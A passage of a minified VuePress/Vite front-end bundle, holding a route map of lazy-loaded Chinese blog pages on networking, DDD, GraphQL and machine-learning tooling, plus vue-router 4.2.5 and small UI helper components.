pDeps([]))),"v-29eb5e8d":D(()=>m(()=>import("./异步任务与事务_.html-Au8WpE6u.js"),__vite__mapDeps([]))),"v-e50f7ea8":D(()=>m(()=>import("./计算机网络_iptables.html-oVpB3JjA.js"),__vite__mapDeps([]))),"v-75d78820":D(()=>m(()=>import("./计算机网络_ip协议.html-Sv4FYo54.js"),__vite__mapDeps([]))),"v-8353569e":D(()=>m(()=>import("./计算机网络_路由器.html--hNUIKTf.js"),__vite__mapDeps([]))),"v-8100aa12":D(()=>m(()=>import("./乐观锁、悲观锁、分布式锁.html-jTPLzWIf.js"),__vite__mapDeps([]))),"v-d0dc2cca":D(()=>m(()=>import("./基于ddd的架构.html-lnxupp3Q.js"),__vite__mapDeps([]))),"v-553c7882":D(()=>m(()=>import("./运维相关.html-2LDRmBaI.js"),__vite__mapDeps([]))),"v-211fff28":D(()=>m(()=>import("./index.html-rVR--s9I.js"),__vite__mapDeps([]))),"v-7dfc8bcb":D(()=>m(()=>import("./webodm配置安装.html-efDH4Tm-.js"),__vite__mapDeps([]))),"v-7181ad41":D(()=>m(()=>import("./index.html-TThl94CJ.js"),__vite__mapDeps([]))),"v-046aced0":D(()=>m(()=>import("./ddd_graphql数据流.html-P651VC0Z.js"),__vite__mapDeps([]))),"v-b1bba884":D(()=>m(()=>import("./graphql和python.html-k8cAeIZm.js"),__vite__mapDeps([]))),"v-67e92c6d":D(()=>m(()=>import("./graphql遇到过的问题.html-jjLgDvV-.js"),__vite__mapDeps([]))),"v-17af9222":D(()=>m(()=>import("./index.html-BjbYssGN.js"),__vite__mapDeps([]))),"v-7443725c":D(()=>m(()=>import("./conda.html-8vWzKDUw.js"),__vite__mapDeps([]))),"v-d7f6c430":D(()=>m(()=>import("./cuda.html-Vr_7SkES.js"),__vite__mapDeps([]))),"v-d6e05f70":D(()=>m(()=>import("./pytorch.html-T61jQByQ.js"),__vite__mapDeps([]))),"v-3e81f7f2":D(()=>m(()=>import("./基于yolov5的cf自瞄.html-ftAqeGea.js"),__vite__mapDeps([]))),"v-689f17cc":D(()=>m(()=>import("./部署paddle框架之ocr.html-5ZV3ZJJm.js"),__vite__mapDeps([]))),"v-3706649a":D(()=>m(()=>import("./404.html-jx0VGdGa.js"),__vite__mapDeps([])))};var Du=Symbol(""),ps=Symbol(""),Cu=qn({key:"",path:"",title:"",lang:"",frontmatter:{},headers:[]}),Yt=()=>{const e=Le(ps);if(!e)throw new Error("pageData() is called without provider.");return e},ms=Symbol(""),vt=()=>{const e=Le(ms);if(!e)throw new Error("usePageFrontmatter() is called without provider.");return e},Es=Symbol(""),Tu=()=>{const e=Le(Es);if(!e)throw new Error("usePageHead() is called without provider.");return e},Ru=Symbol(""),vs=Symbol(""),Pu=()=>{const e=Le(vs);if(!e)throw new Error("usePageLang() is called without provider.");return e},_s=Symbol(""),Ou=()=>{const e=Le(_s);if(!e)throw new Error("usePageLayout() is called without provider.");return e},Fu=_e(Bu),$l=Symbol(""),Zn=()=>{const e=Le($l);if(!e)throw new Error("useRouteLocale() is called without provider.");return e},on=_e(ku),gs=()=>on,bs=Symbol(""),Nl=()=>{const e=Le(bs);if(!e)throw new Error("useSiteLocaleData() is called without provider.");return e},Iu=Symbol(""),Su="Layout",Vu="NotFound",ht=Hn({resolveLayouts:e=>e.reduce((t,n)=>({...t,...n.layouts}),{}),resolvePageData:async e=>{const t=Fu.value[e];return await(t==null?void 0:t())??Cu},resolvePageFrontmatter:e=>e.frontmatter,resolvePageHead:(e,t,n)=>{const o=Ee(t.description)?t.description:n.description,l=[...ee(t.head)?t.head:[],...n.head,["title",{},e],["meta",{name:"description",content:o}]];return xu(l)},resolvePageHeadTitle:(e,t)=>[e.title,t.title].filter(n=>!!n).join(" | "),resolvePageLang:(e,t)=>e.lang||t.lang||"en-US",resolvePageLayout:(e,t)=>{let n;if(e.path){const o=e.frontmatter.layout;Ee(o)?n=o:n=Su}else n=Vu;return t[n]},resolveRouteLocale:(e,t)=>fs(e,t),resolveSiteLocaleData:(e,t)=>({...e,...e.locales[t]})}),Hl=de({name:"ClientOnly",setup(e,t){const n=_e(!1);return je(()=>{n.value=!0}),()=>{var o,l;return n.value?(l=(o=t.slots).default)==null?void 0:l.call(o):null}}}),Mu=de({name:"Content",props:{pageKey:{type:String,required:!1,default:""}},setup(e){const t=Yt(),n=j(()=>hs[e.pageKey||t.value.key]);return()=>n.value?ce(n.value):ce("div","404 Not Found")}}),St=(e={})=>e,ql=e=>Yn(e)?e:`/${ds(e)}`;function As(e,t,n){var o,l,r;t===void 0&&(t=50),n===void 0&&(n={});var i=(o=n.isImmediate)!=null&&o,a=(l=n.callback)!=null&&l,s=n.maxWait,c=Date.now(),u=[];function d(){if(s!==void 0){var E=Date.now()-c;if(E+t>=s)return s-E}return t}var f=function(){var E=[].slice.call(arguments),A=this;return new Promise(function(B,x){var T=i&&r===void 0;if(r!==void 0&&clearTimeout(r),r=setTimeout(function(){if(r=void 0,c=Date.now(),!i){var _=e.apply(A,E);a&&a(_),u.forEach(function(b){return(0,b.resolve)(_)}),u=[]}},d()),T){var C=e.apply(A,E);return a&&a(C),B(C)}u.push({resolve:B,reject:x})})};return f.cancel=function(E){r!==void 0&&clearTimeout(r),u.forEach(function(A){return(0,A.reject)(E)}),u=[]},f}/*! + * vue-router v4.2.5 + * (c) 2023 Eduardo San Martin Morote + * @license MIT + */const nn=typeof window<"u";function $u(e){return e.__esModule||e[Symbol.toStringTag]==="Module"}const ve=Object.assign;function Go(e,t){const n={};for(const o in t){const l=t[o];n[o]=rt(l)?l.map(e):e(l)}return n}const Tn=()=>{},rt=Array.isArray,Nu=/\/$/,Hu=e=>e.replace(Nu,"");function Jo(e,t,n="/"){let o,l={},r="",i="";const a=t.indexOf("#");let s=t.indexOf("?");return a =0&&(s=-1),s>-1&&(o=t.slice(0,s),r=t.slice(s+1,a>-1?a:t.length),l=e(r)),a>-1&&(o=o||t.slice(0,a),i=t.slice(a,t.length)),o=Uu(o??t,n),{fullPath:o+(r&&"?")+r+i,path:o,query:l,hash:i}}function qu(e,t){const n=t.query?e(t.query):"";return t.path+(n&&"?")+n+(t.hash||"")}function Vr(e,t){return!t||!e.toLowerCase().startsWith(t.toLowerCase())?e:e.slice(t.length)||"/"}function ju(e,t,n){const o=t.matched.length-1,l=n.matched.length-1;return o>-1&&o===l&&pn(t.matched[o],n.matched[l])&&ys(t.params,n.params)&&e(t.query)===e(n.query)&&t.hash===n.hash}function pn(e,t){return(e.aliasOf||e)===(t.aliasOf||t)}function ys(e,t){if(Object.keys(e).length!==Object.keys(t).length)return!1;for(const n in e)if(!zu(e[n],t[n]))return!1;return!0}function zu(e,t){return rt(e)?Mr(e,t):rt(t)?Mr(t,e):e===t}function Mr(e,t){return rt(t)?e.length===t.length&&e.every((n,o)=>n===t[o]):e.length===1&&e[0]===t}function Uu(e,t){if(e.startsWith("/"))return e;if(!e)return t;const n=t.split("/"),o=e.split("/"),l=o[o.length-1];(l===".."||l===".")&&o.push("");let r=n.length-1,i,a;for(i=0;i1&&r--;else break;return n.slice(0,r).join("/")+"/"+o.slice(i-(i===o.length?1:0)).join("/")}var Vn;(function(e){e.pop="pop",e.push="push"})(Vn||(Vn={}));var Rn;(function(e){e.back="back",e.forward="forward",e.unknown=""})(Rn||(Rn={}));function Ku(e){if(!e)if(nn){const t=document.querySelector("base");e=t&&t.getAttribute("href")||"/",e=e.replace(/^\w+:\/\/[^\/]+/,"")}else e="/";return e[0]!=="/"&&e[0]!=="#"&&(e="/"+e),Hu(e)}const Wu=/^[^#]+#/;function Yu(e,t){return e.replace(Wu,"#")+t}function Zu(e,t){const n=document.documentElement.getBoundingClientRect(),o=e.getBoundingClientRect();return{behavior:t.behavior,left:o.left-n.left-(t.left||0),top:o.top-n.top-(t.top||0)}}const Mo=()=>({left:window.pageXOffset,top:window.pageYOffset});function Gu(e){let t;if("el"in e){const n=e.el,o=typeof n=="string"&&n.startsWith("#"),l=typeof n=="string"?o?document.getElementById(n.slice(1)):document.querySelector(n):n;if(!l)return;t=Zu(l,e)}else t=e;"scrollBehavior"in document.documentElement.style?window.scrollTo(t):window.scrollTo(t.left!=null?t.left:window.pageXOffset,t.top!=null?t.top:window.pageYOffset)}function $r(e,t){return(history.state?history.state.position-t:-1)+e}const pl=new Map;function Ju(e,t){pl.set(e,t)}function Qu(e){const t=pl.get(e);return pl.delete(e),t}let Xu=()=>location.protocol+"//"+location.host;function Bs(e,t){const{pathname:n,search:o,hash:l}=t,r=e.indexOf("#");if(r>-1){let a=l.includes(e.slice(r))?e.slice(r).length:1,s=l.slice(a);return s[0]!=="/"&&(s="/"+s),Vr(s,"")}return Vr(n,e)+o+l}function ed(e,t,n,o){let l=[],r=[],i=null;const a=({state:f})=>{const E=Bs(e,location),A=n.value,B=t.value;let x=0;if(f){if(n.value=E,t.value=f,i&&i===A){i=null;return}x=B?f.position-B.position:0}else o(E);l.forEach(T=>{T(n.value,A,{delta:x,type:Vn.pop,direction:x?x>0?Rn.forward:Rn.back:Rn.unknown})})};function s(){i=n.value}function c(f){l.push(f);const E=()=>{const A=l.indexOf(f);A>-1&&l.splice(A,1)};return r.push(E),E}function u(){const{history:f}=window;f.state&&f.replaceState(ve({},f.state,{scroll:Mo()}),"")}function d(){for(const f of r)f();r=[],window.removeEventListener("popstate",a),window.removeEventListener("beforeunload",u)}return window.addEventListener("popstate",a),window.addEventListener("beforeunload",u,{passive:!0}),{pauseListeners:s,listen:c,destroy:d}}function Nr(e,t,n,o=!1,l=!1){return{back:e,current:t,forward:n,replaced:o,position:window.history.length,scroll:l?Mo():null}}function td(e){const{history:t,location:n}=window,o={value:Bs(e,n)},l={value:t.state};l.value||r(o.value,{back:null,current:o.value,forward:null,position:t.length-1,replaced:!0,scroll:null},!0);function r(s,c,u){const d=e.indexOf("#"),f=d>-1?(n.host&&document.querySelector("base")?e:e.slice(d))+s:Xu()+e+s;try{t[u?"replaceState":"pushState"](c,"",f),l.value=c}catch(E){console.error(E),n[u?"replace":"assign"](f)}}function i(s,c){const u=ve({},t.state,Nr(l.value.back,s,l.value.forward,!0),c,{position:l.value.position});r(s,u,!0),o.value=s}function a(s,c){const u=ve({},l.value,t.state,{forward:s,scroll:Mo()});r(u.current,u,!0);const d=ve({},Nr(o.value,s,null),{position:u.position+1},c);r(s,d,!1),o.value=s}return{location:o,state:l,push:a,replace:i}}function nd(e){e=Ku(e);const t=td(e),n=ed(e,t.state,t.location,t.replace);function o(r,i=!0){i||n.pauseListeners(),history.go(r)}const l=ve({location:"",base:e,go:o,createHref:Yu.bind(null,e)},t,n);return Object.defineProperty(l,"location",{enumerable:!0,get:()=>t.location.value}),Object.defineProperty(l,"state",{enumerable:!0,get:()=>t.state.value}),l}function od(e){return typeof e=="string"||e&&typeof e=="object"}function ks(e){return typeof e=="string"||typeof e=="symbol"}const pt={path:"/",name:void 0,params:{},query:{},hash:"",fullPath:"/",matched:[],meta:{},redirectedFrom:void 0},ws=Symbol("");var Hr;(function(e){e[e.aborted=4]="aborted",e[e.cancelled=8]="cancelled",e[e.duplicated=16]="duplicated"})(Hr||(Hr={}));function mn(e,t){return ve(new Error,{type:e,[ws]:!0},t)}function ft(e,t){return e instanceof Error&&ws in e&&(t==null||!!(e.type&t))}const qr="[^/]+?",ld={sensitive:!1,strict:!1,start:!0,end:!0},rd=/[.+*?^${}()[\]/\\]/g;function id(e,t){const n=ve({},ld,t),o=[];let l=n.start?"^":"";const r=[];for(const c of e){const u=c.length?[]:[90];n.strict&&!c.length&&(l+="/");for(let d=0;d t.length?t.length===1&&t[0]===80?1:-1:0}function ad(e,t){let n=0;const o=e.score,l=t.score;for(;n 0&&t[t.length-1]<0}const cd={type:0,value:""},ud=/[a-zA-Z0-9_]/;function dd(e){if(!e)return[[]];if(e==="/")return[[cd]];if(!e.startsWith("/"))throw new Error(`Invalid path "${e}"`);function t(E){throw new Error(`ERR (${n})/"${c}": ${E}`)}let n=0,o=n;const l=[];let r;function i(){r&&l.push(r),r=[]}let a=0,s,c="",u="";function d(){c&&(n===0?r.push({type:0,value:c}):n===1||n===2||n===3?(r.length>1&&(s==="*"||s==="+")&&t(`A repeatable param (${c}) must be alone in its segment. eg: '/:ids+.`),r.push({type:1,value:c,regexp:u,repeatable:s==="*"||s==="+",optional:s==="*"||s==="?"})):t("Invalid state to consume buffer"),c="")}function f(){c+=s}for(;a {i(C)}:Tn}function i(u){if(ks(u)){const d=o.get(u);d&&(o.delete(u),n.splice(n.indexOf(d),1),d.children.forEach(i),d.alias.forEach(i))}else{const d=n.indexOf(u);d>-1&&(n.splice(d,1),u.record.name&&o.delete(u.record.name),u.children.forEach(i),u.alias.forEach(i))}}function a(){return n}function s(u){let d=0;for(;d =0&&(u.record.path!==n[d].record.path||!xs(u,n[d]));)d++;n.splice(d,0,u),u.record.name&&!Ur(u)&&o.set(u.record.name,u)}function c(u,d){let f,E={},A,B;if("name"in u&&u.name){if(f=o.get(u.name),!f)throw mn(1,{location:u});B=f.record.name,E=ve(zr(d.params,f.keys.filter(C=>!C.optional).map(C=>C.name)),u.params&&zr(u.params,f.keys.map(C=>C.name))),A=f.stringify(E)}else if("path"in u)A=u.path,f=n.find(C=>C.re.test(A)),f&&(E=f.parse(A),B=f.record.name);else{if(f=d.name?o.get(d.name):n.find(C=>C.re.test(d.path)),!f)throw mn(1,{location:u,currentLocation:d});B=f.record.name,E=ve({},d.params,u.params),A=f.stringify(E)}const x=[];let T=f;for(;T;)x.unshift(T.record),T=T.parent;return{name:B,path:A,params:E,matched:x,meta:Ed(x)}}return e.forEach(u=>r(u)),{addRoute:r,resolve:c,removeRoute:i,getRoutes:a,getRecordMatcher:l}}function zr(e,t){const n={};for(const o of t)o in e&&(n[o]=e[o]);return n}function pd(e){return{path:e.path,redirect:e.redirect,name:e.name,meta:e.meta||{},aliasOf:void 0,beforeEnter:e.beforeEnter,props:md(e),children:e.children||[],instances:{},leaveGuards:new Set,updateGuards:new Set,enterCallbacks:{},components:"components"in e?e.components||null:e.component&&{default:e.component}}}function md(e){const t={},n=e.props||!1;if("component"in e)t.default=n;else for(const o in e.components)t[o]=typeof n=="object"?n[o]:n;return t}function Ur(e){for(;e;){if(e.record.aliasOf)return!0;e=e.parent}return!1}function Ed(e){return e.reduce((t,n)=>ve(t,n.meta),{})}function Kr(e,t){const n={};for(const o in e)n[o]=o in t?t[o]:e[o];return n}function xs(e,t){return t.children.some(n=>n===e||xs(e,n))}const Ls=/#/g,vd=/&/g,_d=/\//g,gd=/=/g,bd=/\?/g,Ds=/\+/g,Ad=/%5B/g,yd=/%5D/g,Cs=/%5E/g,Bd=/%60/g,Ts=/%7B/g,kd=/%7C/g,Rs=/%7D/g,wd=/%20/g;function jl(e){return encodeURI(""+e).replace(kd,"|").replace(Ad,"[").replace(yd,"]")}function xd(e){return jl(e).replace(Ts,"{").replace(Rs,"}").replace(Cs,"^")}function ml(e){return jl(e).replace(Ds,"%2B").replace(wd,"+").replace(Ls,"%23").replace(vd,"%26").replace(Bd,"`").replace(Ts,"{").replace(Rs,"}").replace(Cs,"^")}function Ld(e){return ml(e).replace(gd,"%3D")}function Dd(e){return jl(e).replace(Ls,"%23").replace(bd,"%3F")}function Cd(e){return e==null?"":Dd(e).replace(_d,"%2F")}function ko(e){try{return decodeURIComponent(""+e)}catch{}return""+e}function Td(e){const t={};if(e===""||e==="?")return t;const o=(e[0]==="?"?e.slice(1):e).split("&");for(let l=0;l r&&ml(r)):[o&&ml(o)]).forEach(r=>{r!==void 0&&(t+=(t.length?"&":"")+n,r!=null&&(t+="="+r))})}return t}function Rd(e){const t={};for(const n in e){const o=e[n];o!==void 0&&(t[n]=rt(o)?o.map(l=>l==null?null:""+l):o==null?o:""+o)}return t}const Pd=Symbol(""),Yr=Symbol(""),$o=Symbol(""),zl=Symbol(""),El=Symbol("");function yn(){let e=[];function t(o){return e.push(o),()=>{const l=e.indexOf(o);l>-1&&e.splice(l,1)}}function n(){e=[]}return{add:t,list:()=>e.slice(),reset:n}}function Ct(e,t,n,o,l){const r=o&&(o.enterCallbacks[l]=o.enterCallbacks[l]||[]);return()=>new Promise((i,a)=>{const s=d=>{d===!1?a(mn(4,{from:n,to:t})):d instanceof Error?a(d):od(d)?a(mn(2,{from:t,to:d})):(r&&o.enterCallbacks[l]===r&&typeof d=="function"&&r.push(d),i())},c=e.call(o&&o.instances[l],t,n,s);let u=Promise.resolve(c);e.length<3&&(u=u.then(s)),u.catch(d=>a(d))})}function Qo(e,t,n,o){const l=[];for(const r of e)for(const i in r.components){let a=r.components[i];if(!(t!=="beforeRouteEnter"&&!r.instances[i]))if(Od(a)){const c=(a.__vccOpts||a)[t];c&&l.push(Ct(c,n,o,r,i))}else{let s=a();l.push(()=>s.then(c=>{if(!c)return Promise.reject(new Error(`Couldn't resolve component "${i}" at "${r.path}"`));const u=$u(c)?c.default:c;r.components[i]=u;const f=(u.__vccOpts||u)[t];return f&&Ct(f,n,o,r,i)()}))}}return l}function Od(e){return typeof e=="object"||"displayName"in e||"props"in e||"__vccOpts"in e}function Zr(e){const t=Le($o),n=Le(zl),o=j(()=>t.resolve(ne(e.to))),l=j(()=>{const{matched:s}=o.value,{length:c}=s,u=s[c-1],d=n.matched;if(!u||!d.length)return-1;const f=d.findIndex(pn.bind(null,u));if(f>-1)return f;const E=Gr(s[c-2]);return c>1&&Gr(u)===E&&d[d.length-1].path!==E?d.findIndex(pn.bind(null,s[c-2])):f}),r=j(()=>l.value>-1&&Vd(n.params,o.value.params)),i=j(()=>l.value>-1&&l.value===n.matched.length-1&&ys(n.params,o.value.params));function a(s={}){return Sd(s)?t[ne(e.replace)?"replace":"push"](ne(e.to)).catch(Tn):Promise.resolve()}return{route:o,href:j(()=>o.value.href),isActive:r,isExactActive:i,navigate:a}}const Fd=de({name:"RouterLink",compatConfig:{MODE:3},props:{to:{type:[String,Object],required:!0},replace:Boolean,activeClass:String,exactActiveClass:String,custom:Boolean,ariaCurrentValue:{type:String,default:"page"}},useLink:Zr,setup(e,{slots:t}){const n=Hn(Zr(e)),{options:o}=Le($o),l=j(()=>({[Jr(e.activeClass,o.linkActiveClass,"router-link-active")]:n.isActive,[Jr(e.exactActiveClass,o.linkExactActiveClass,"router-link-exact-active")]:n.isExactActive}));return()=>{const r=t.default&&t.default(n);return e.custom?r:ce("a",{"aria-current":n.isExactActive?e.ariaCurrentValue:null,href:n.href,onClick:n.navigate,class:l.value},r)}}}),Id=Fd;function Sd(e){if(!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)&&!e.defaultPrevented&&!(e.button!==void 0&&e.button!==0)){if(e.currentTarget&&e.currentTarget.getAttribute){const t=e.currentTarget.getAttribute("target");if(/\b_blank\b/i.test(t))return}return e.preventDefault&&e.preventDefault(),!0}}function Vd(e,t){for(const n in t){const o=t[n],l=e[n];if(typeof o=="string"){if(o!==l)return!1}else if(!rt(l)||l.length!==o.length||o.some((r,i)=>r!==l[i]))return!1}return!0}function Gr(e){return e?e.aliasOf?e.aliasOf.path:e.path:""}const Jr=(e,t,n)=>e??t??n,Md=de({name:"RouterView",inheritAttrs:!1,props:{name:{type:String,default:"default"},route:Object},compatConfig:{MODE:3},setup(e,{attrs:t,slots:n}){const o=Le(El),l=j(()=>e.route||o.value),r=Le(Yr,0),i=j(()=>{let c=ne(r);const{matched:u}=l.value;let d;for(;(d=u[c])&&!d.components;)c++;return c}),a=j(()=>l.value.matched[i.value]);Kt(Yr,j(()=>i.value+1)),Kt(Pd,a),Kt(El,l);const s=_e();return Ge(()=>[s.value,a.value,e.name],([c,u,d],[f,E,A])=>{u&&(u.instances[d]=c,E&&E!==u&&c&&c===f&&(u.leaveGuards.size||(u.leaveGuards=E.leaveGuards),u.updateGuards.size||(u.updateGuards=E.updateGuards))),c&&u&&(!E||!pn(u,E)||!f)&&(u.enterCallbacks[d]||[]).forEach(B=>B(c))},{flush:"post"}),()=>{const c=l.value,u=e.name,d=a.value,f=d&&d.components[u];if(!f)return Qr(n.default,{Component:f,route:c});const E=d.props[u],A=E?E===!0?c.params:typeof E=="function"?E(c):E:null,x=ce(f,ve({},A,t,{onVnodeUnmounted:T=>{T.component.isUnmounted&&(d.instances[u]=null)},ref:s}));return Qr(n.default,{Component:x,route:c})||x}}});function Qr(e,t){if(!e)return null;const n=e(t);return n.length===1?n[0]:n}const Ps=Md;function $d(e){const t=hd(e.routes,e),n=e.parseQuery||Td,o=e.stringifyQuery||Wr,l=e.history,r=yn(),i=yn(),a=yn(),s=Cl(pt);let c=pt;nn&&e.scrollBehavior&&"scrollRestoration"in history&&(history.scrollRestoration="manual");const u=Go.bind(null,w=>""+w),d=Go.bind(null,Cd),f=Go.bind(null,ko);function E(w,U){let $,G;return ks(w)?($=t.getRecordMatcher(w),G=U):G=w,t.addRoute(G,$)}function A(w){const U=t.getRecordMatcher(w);U&&t.removeRoute(U)}function B(){return t.getRoutes().map(w=>w.record)}function x(w){return!!t.getRecordMatcher(w)}function T(w,U){if(U=ve({},U||s.value),typeof w=="string"){const v=Jo(n,w,U.path),y=t.resolve({path:v.path},U),L=l.createHref(v.fullPath);return ve(v,y,{params:f(y.params),hash:ko(v.hash),redirectedFrom:void 0,href:L})}let $;if("path"in w)$=ve({},w,{path:Jo(n,w.path,U.path).path});else{const v=ve({},w.params);for(const y in v)v[y]==null&&delete v[y];$=ve({},w,{params:d(v)}),U.params=d(U.params)}const G=t.resolve($,U),ue=w.hash||"";G.params=u(f(G.params));const h=qu(o,ve({},w,{hash:xd(ue),path:G.path})),p=l.createHref(h);return ve({fullPath:h,hash:ue,query:o===Wr?Rd(w.query):w.query||{}},G,{redirectedFrom:void 0,href:p})}function C(w){return typeof w=="string"?Jo(n,w,s.value.path):ve({},w)}function _(w,U){if(c!==w)return mn(8,{from:U,to:w})}function b(w){return M(w)}function H(w){return b(ve(C(w),{replace:!0}))}function Y(w){const U=w.matched[w.matched.length-1];if(U&&U.redirect){const{redirect:$}=U;let G=typeof $=="function"?$(w):$;return typeof G=="string"&&(G=G.includes("?")||G.includes("#")?G=C(G):{path:G},G.params={}),ve({query:w.query,hash:w.hash,params:"path"in G?{}:w.params},G)}}function M(w,U){const $=c=T(w),G=s.value,ue=w.state,h=w.force,p=w.replace===!0,v=Y($);if(v)return M(ve(C(v),{state:typeof v=="object"?ve({},ue,v.state):ue,force:h,replace:p}),U||$);const y=$;y.redirectedFrom=U;let L;return!h&&ju(o,G,$)&&(L=mn(16,{to:y,from:G}),ze(G,G,!0,!1)),(L?Promise.resolve(L):P(y,G)).catch(R=>ft(R)?ft(R,2)?R:Se(R):K(R,y,G)).then(R=>{if(R){if(ft(R,2))return M(ve({replace:p},C(R.to),{state:typeof R.to=="object"?ve({},ue,R.to.state):ue,force:h}),U||y)}else R=k(y,G,!0,p,ue);return W(y,G,R),R})}function g(w,U){const $=_(w,U);return $?Promise.reject($):Promise.resolve()}function I(w){const U=yt.values().next().value;return U&&typeof U.runWithContext=="function"?U.runWithContext(w):w()}function P(w,U){let $;const[G,ue,h]=Nd(w,U);$=Qo(G.reverse(),"beforeRouteLeave",w,U);for(const v of G)v.leaveGuards.forEach(y=>{$.push(Ct(y,w,U))});const p=g.bind(null,w,U);return $.push(p),Fe($).then(()=>{$=[];for(const v of r.list())$.push(Ct(v,w,U));return $.push(p),Fe($)}).then(()=>{$=Qo(ue,"beforeRouteUpdate",w,U);for(const v of ue)v.updateGuards.forEach(y=>{$.push(Ct(y,w,U))});return $.push(p),Fe($)}).then(()=>{$=[];for(const v of h)if(v.beforeEnter)if(rt(v.beforeEnter))for(const y of v.beforeEnter)$.push(Ct(y,w,U));else $.push(Ct(v.beforeEnter,w,U));return $.push(p),Fe($)}).then(()=>(w.matched.forEach(v=>v.enterCallbacks={}),$=Qo(h,"beforeRouteEnter",w,U),$.push(p),Fe($))).then(()=>{$=[];for(const v of i.list())$.push(Ct(v,w,U));return $.push(p),Fe($)}).catch(v=>ft(v,8)?v:Promise.reject(v))}function W(w,U,$){a.list().forEach(G=>I(()=>G(w,U,$)))}function k(w,U,$,G,ue){const h=_(w,U);if(h)return h;const p=U===pt,v=nn?history.state:{};$&&(G||p?l.replace(w.fullPath,ve({scroll:p&&v&&v.scroll},ue)):l.push(w.fullPath,ue)),s.value=w,ze(w,U,$,p),Se()}let V;function oe(){V||(V=l.listen((w,U,$)=>{if(!it.listening)return;const G=T(w),ue=Y(G);if(ue){M(ve(ue,{replace:!0}),G).catch(Tn);return}c=G;const h=s.value;nn&&Ju($r(h.fullPath,$.delta),Mo()),P(G,h).catch(p=>ft(p,12)?p:ft(p,2)?(M(p.to,G).then(v=>{ft(v,20)&&!$.delta&&$.type===Vn.pop&&l.go(-1,!1)}).catch(Tn),Promise.reject()):($.delta&&l.go(-$.delta,!1),K(p,G,h))).then(p=>{p=p||k(G,h,!1),p&&($.delta&&!ft(p,8)?l.go(-$.delta,!1):$.type===Vn.pop&&ft(p,20)&&l.go(-1,!1)),W(G,h,p)}).catch(Tn)}))}let se=yn(),F=yn(),J;function K(w,U,$){Se(w);const G=F.list();return G.length?G.forEach(ue=>ue(w,U,$)):console.error(w),Promise.reject(w)}function Oe(){return J&&s.value!==pt?Promise.resolve():new Promise((w,U)=>{se.add([w,U])})}function Se(w){return J||(J=!w,oe(),se.list().forEach(([U,$])=>w?$(w):U()),se.reset()),w}function ze(w,U,$,G){const{scrollBehavior:ue}=e;if(!nn||!ue)return Promise.resolve();const h=!$&&Qu($r(w.fullPath,0))||(G||!$)&&history.state&&history.state.scroll||null;return zn().then(()=>ue(w,U,h)).then(p=>p&&Gu(p)).catch(p=>K(p,w,U))}const $e=w=>l.go(w);let At;const yt=new Set,it={currentRoute:s,listening:!0,addRoute:E,removeRoute:A,hasRoute:x,getRoutes:B,resolve:T,options:e,push:b,replace:H,go:$e,back:()=>$e(-1),forward:()=>$e(1),beforeEach:r.add,beforeResolve:i.add,afterEach:a.add,onError:F.add,isReady:Oe,install(w){const U=this;w.component("RouterLink",Id),w.component("RouterView",Ps),w.config.globalProperties.$router=U,Object.defineProperty(w.config.globalProperties,"$route",{enumerable:!0,get:()=>ne(s)}),nn&&!At&&s.value===pt&&(At=!0,b(l.location).catch(ue=>{}));const $={};for(const ue in pt)Object.defineProperty($,ue,{get:()=>s.value[ue],enumerable:!0});w.provide($o,U),w.provide(zl,Ri($)),w.provide(El,s);const G=w.unmount;yt.add(w),w.unmount=function(){yt.delete(w),yt.size<1&&(c=pt,V&&V(),V=null,s.value=pt,At=!1,J=!1),G()}}};function Fe(w){return w.reduce((U,$)=>U.then(()=>I($)),Promise.resolve())}return it}function Nd(e,t){const n=[],o=[],l=[],r=Math.max(t.matched.length,e.matched.length);for(let i=0;i pn(c,a))?o.push(a):n.push(a));const s=e.matched[i];s&&(t.matched.find(c=>pn(c,s))||l.push(s))}return[n,o,l]}function Jt(){return Le($o)}function Qt(){return Le(zl)}const Hd=({headerLinkSelector:e,headerAnchorSelector:t,delay:n,offset:o=5})=>{const l=Jt(),i=As(()=>{var B,x;const a=Math.max(window.scrollY,document.documentElement.scrollTop,document.body.scrollTop);if(Math.abs(a-0) f.some(C=>C.hash===T.hash));for(let T=0;T =(((B=C.parentElement)==null?void 0:B.offsetTop)??0)-o,H=!_||a<(((x=_.parentElement)==null?void 0:x.offsetTop)??0)-o;if(!(b&&H))continue;const M=decodeURIComponent(l.currentRoute.value.hash),g=decodeURIComponent(C.hash);if(M===g)return;if(d){for(let I=T+1;I {window.addEventListener("scroll",i)}),Kn(()=>{window.removeEventListener("scroll",i)})},Xr=async(e,t)=>{const{scrollBehavior:n}=e.options;e.options.scrollBehavior=void 0,await e.replace({query:e.currentRoute.value.query,hash:t}).finally(()=>e.options.scrollBehavior=n)},qd="a.sidebar-item",jd=".header-anchor",zd=300,Ud=5,Kd=St({setup(){Hd({headerLinkSelector:qd,headerAnchorSelector:jd,delay:zd,offset:Ud})}}),ei=()=>window.pageYOffset||document.documentElement.scrollTop||document.body.scrollTop||0,Wd=()=>window.scrollTo({top:0,behavior:"smooth"}),Yd=de({name:"BackToTop",setup(){const e=_e(0),t=j(()=>e.value>300),n=As(()=>{e.value=ei()},100);je(()=>{e.value=ei(),window.addEventListener("scroll",()=>n())});const o=ce("div",{class:"back-to-top",onClick:Wd});return()=>ce(Wn,{name:"back-to-top"},()=>t.value?o:null)}}),Zd=St({rootComponents:[Yd]}),Gd=ce("svg",{class:"external-link-icon",xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",x:"0px",y:"0px",viewBox:"0 0 100 100",width:"15",height:"15"},[ce("path",{fill:"currentColor",d:"M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"}),ce("polygon",{fill:"currentColor",points:"45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"})]),Jd=de({name:"ExternalLinkIcon",props:{locales:{type:Object,required:!1,default:()=>({})}},setup(e){const t=Zn(),n=j(()=>e.locales[t.value]??{openInNewWindow:"open in new window"});return()=>ce("span",[Gd,ce("span",{class:"external-link-icon-sr-only"},n.value.openInNewWindow)])}});var Qd={"/":{openInNewWindow:"open in new window"}};const Xd=Qd,ef=St({enhance({app:e}){e.component("ExternalLinkIcon",ce(Jd,{locales:Xd}))}});/** + * NProgress, (c) 2013, 2014 Rico Sta. Cruz - http://ricostacruz.com/nprogress + * @license MIT + */const 